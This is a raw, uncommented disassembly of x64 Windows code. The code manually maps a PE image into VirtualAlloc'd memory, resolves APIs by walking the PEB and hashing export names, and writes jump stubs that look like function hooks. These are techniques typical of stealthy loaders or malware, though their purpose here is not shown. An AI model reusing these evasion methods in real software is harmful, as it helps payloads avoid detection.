lea rcx, [0x1400c620c]
call fcn.140097880
mov eax, dword [r15]
cmp dword [0x1400c6904], eax
jle 0x140025041
lea rcx, [0x1400c6904]
call fcn.1400978e0
cmp dword [0x1400c6904], 0xffffffff
jne 0x140025041
mov edx, 2
lea rcx, [0x1400c6210]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x14009a980]
call fcn.140097c64
lea rcx, [0x1400c6904]
call fcn.140097880
lea rcx, [0x1400c6210]
call fcn.14001e420
mov dword [rsp + 0x68], 0x25ff
mov word [rsp + 0x6c], 0
mov qword [rsp + 0x6e], rdi
mov rcx, qword [0x1400c6268]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x180]
call fcn.1400212f0
mov rcx, qword [0x1400c6268]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rsp + 0x68]
call fcn.140021490
mov rax, qword [0x1400c6910]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x1400c6268]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x180]
call fcn.140021490
lea rcx, [0x1400c6210]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x260]
call fcn.140030a00
test al, al
jne 0x1400250f1
xor eax, eax
mov qword [rbp + 0x2d0], rax
jmp 0x1400250f8
mov rax, qword [rbp + 0x2d0]
test al, al
jns 0x140025116
and rax, r12
or rax, 2
mov qword [rbp + 0x2d0], rax
lea r8, [rbp + 0x2d0]
jmp 0x14002527c
mov rdi, qword [0x1400c6930]
mov eax, dword [r15]
cmp dword [0x1400c620c], eax
jle 0x14002516d
lea rcx, [0x1400c620c]
call fcn.1400978e0
cmp dword [0x1400c620c], 0xffffffff
jne 0x14002516d
lea rcx, [0x1400aaa18]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400c6910], rax
lea rcx, [0x1400c620c]
call fcn.140097880
mov eax, dword [r15]
cmp dword [0x1400c6904], eax
jle 0x1400251b7
lea rcx, [0x1400c6904]
call fcn.1400978e0
cmp dword [0x1400c6904], 0xffffffff
jne 0x1400251b7
mov edx, 2
lea rcx, [0x1400c6210]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x14009a980]
call fcn.140097c64
lea rcx, [0x1400c6904]
call fcn.140097880
lea rcx, [0x1400c6210]
call fcn.14001e420
mov dword [rsp + 0x78], 0x25ff
mov word [rsp + 0x7c], 0
mov qword [rsp + 0x7e], rdi
mov rcx, qword [0x1400c6268]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x170]
call fcn.1400212f0
mov rcx, qword [0x1400c6268]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rsp + 0x78]
call fcn.140021490
mov rax, qword [0x1400c6910]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x1400c6268]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x170]
call fcn.140021490
lea rcx, [0x1400c6210]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x260]
call fcn.140030a00
test al, al
jne 0x140025260
xor eax, eax
jmp 0x140025267
mov rax, qword [rbp + 0x310]
and rax, r12
or rax, 2
mov qword [rbp + 0x310], rax
lea r8, [rbp + 0x310]
mov r9d, 8
mov rdx, rdi
lea rcx, [rbp + 0x260]
call fcn.140031120
add rbx, 0x1000
cmp rbx, rsi
jb 0x140024fa0
mov r9d, 4
mov r8d, 0x3000
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov r12, qword [rsp + 0x48]
mov r8d, dword [r12 + 0x54]
mov rdx, qword [rbp - 0x78]
mov rdx, qword [rdx]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movzx ebx, word [r12 + 0x14]
add rbx, 0x28
xor edi, edi
cmp di, word [r12 + 6]
jae 0x140025319
add rbx, r12
mov r14, qword [rbp - 0x78]
nop
mov ecx, dword [rbx - 4]
add rcx, rsi
mov r8d, dword [rbx]
mov edx, dword [rbx + 4]
add rdx, qword [r14]
call sub.VCRUNTIME140.dll_memcpy
inc edi
lea rbx, [rbx + 0x28]
movzx eax, word [r12 + 6]
cmp edi, eax
jl 0x1400252f0
mov r14d, dword [rsp + 0x50]
mov rbx, r13
sub rbx, qword [r12 + 0x30]
mov rdx, rsi
lea rcx, [rbp + 0x1c8]
call fcn.14002dfb0
mov rdx, rbx
mov rcx, rax
call fcn.14002db00
mov rdx, rsi
lea rcx, [rbp + 0x1b0]
call fcn.14002e0e0
mov rcx, rax
call fcn.14002dc00
test al, al
jne 0x1400254f6
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x200]
call fcn.14002a140
mov rbx, rax
mov qword [rsp + 0x48], rax
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14002538f
mov rcx, rbx
call fcn.140020d30
nop
mov rcx, rbx
call fcn.140020cd0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140025426
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140025426
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xd44dd817
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140025421
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140025400
cmp r8d, 0x536166da
je 0x14002542b
test r9d, r9d
jne 0x1400253e0
mov rax, qword [rax]
jmp 0x1400253b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x7d0
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400254d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400254d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xbfdfd9ab
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400254d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400254b0
cmp r8d, 0x40a49e7b
je 0x1400254db
test r9d, r9d
jne 0x140025490
mov rax, qword [rax]
jmp 0x140025460
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov r8d, dword [r12 + 0x54]
xor edx, edx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
mov r9, r14
mov r8, rsi
mov rdx, r13
lea rcx, [rbp + 0x260]
call fcn.140031120
mov ebx, dword [r12 + 0x28]
add rbx, r13
mov edi, dword [r12 + 0x50]
mov eax, dword [r15]
cmp dword [0x1400c6940], eax
jle 0x140025577
lea rcx, [0x1400c6940]
call fcn.1400978e0
cmp dword [0x1400c6940], 0xffffffff
jne 0x140025577
lea rcx, [0x1400aaa18]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400c6cb8], rax
lea rcx, [0x1400c6940]
call fcn.140097880
mov eax, dword [r15]
cmp dword [0x1400c693c], eax
jle 0x1400255c1
lea rcx, [0x1400c693c]
call fcn.1400978e0
cmp dword [0x1400c693c], 0xffffffff
jne 0x1400255c1
mov edx, 2
lea rcx, [0x1400c6cc0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x14009a970]
call fcn.140097c64
lea rcx, [0x1400c693c]
call fcn.140097880
lea rcx, [0x1400c6cc0]
call fcn.14001e420
mov dword [rsp + 0x58], 0x25ff
mov word [rsp + 0x5c], 0
mov qword [rsp + 0x5e], rbx
mov rcx, qword [0x1400c6268]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x160]
call fcn.1400212f0
mov rcx, qword [0x1400c6268]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rsp + 0x58]
call fcn.140021490
mov rdx, rdi
mov rcx, r13
call qword [0x1400c6cb8]
mov rcx, qword [0x1400c6268]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x160]
call fcn.140021490
lea rcx, [0x1400c6cc0]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x220]
call fcn.14002a140
mov rbx, rax
mov qword [rsp + 0x48], rax
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140025680
mov rcx, rbx
call fcn.140020d30
test al, al
je 0x140025680
mov dil, 1
jmp 0x140025683
xor dil, dil
mov rcx, rbx
call fcn.140020cd0
test dil, dil
jne 0x1400257f7
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140025726
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140025726
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x36a94f2f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140025721
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140025700
cmp r8d, 0x84055d72
je 0x14002572b
test r9d, r9d
jne 0x1400256e0
mov rax, qword [rax]
jmp 0x1400256b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x7d0
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400257d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400257d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x3ff2a591
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400257d1
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x1400257b0
cmp r8d, 0xedc6ec31
je 0x1400257db
test r9d, r9d
jne 0x140025790
mov rax, qword [rax]
jmp 0x140025760
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rdx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
nop
lea rcx, [rbp + 0x3d8]
call fcn.140021280
nop
lea rcx, [rbp + 0x420]
call fcn.140020890
nop
mov rcx, qword [rbp - 0x78]
call fcn.140029d50
mov rcx, qword [rbp + 0x5e0]
xor rcx, rsp
call fcn.140097730
lea r11, [rsp + 0x6f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rbp + 0x60]
mov edx, eax
lea rcx, str.absolute
call fcn.14001edf0
nop
lea r8, [rbp + 0x40]
mov edx, eax
lea rcx, str.absolute
call fcn.14001edf0
int3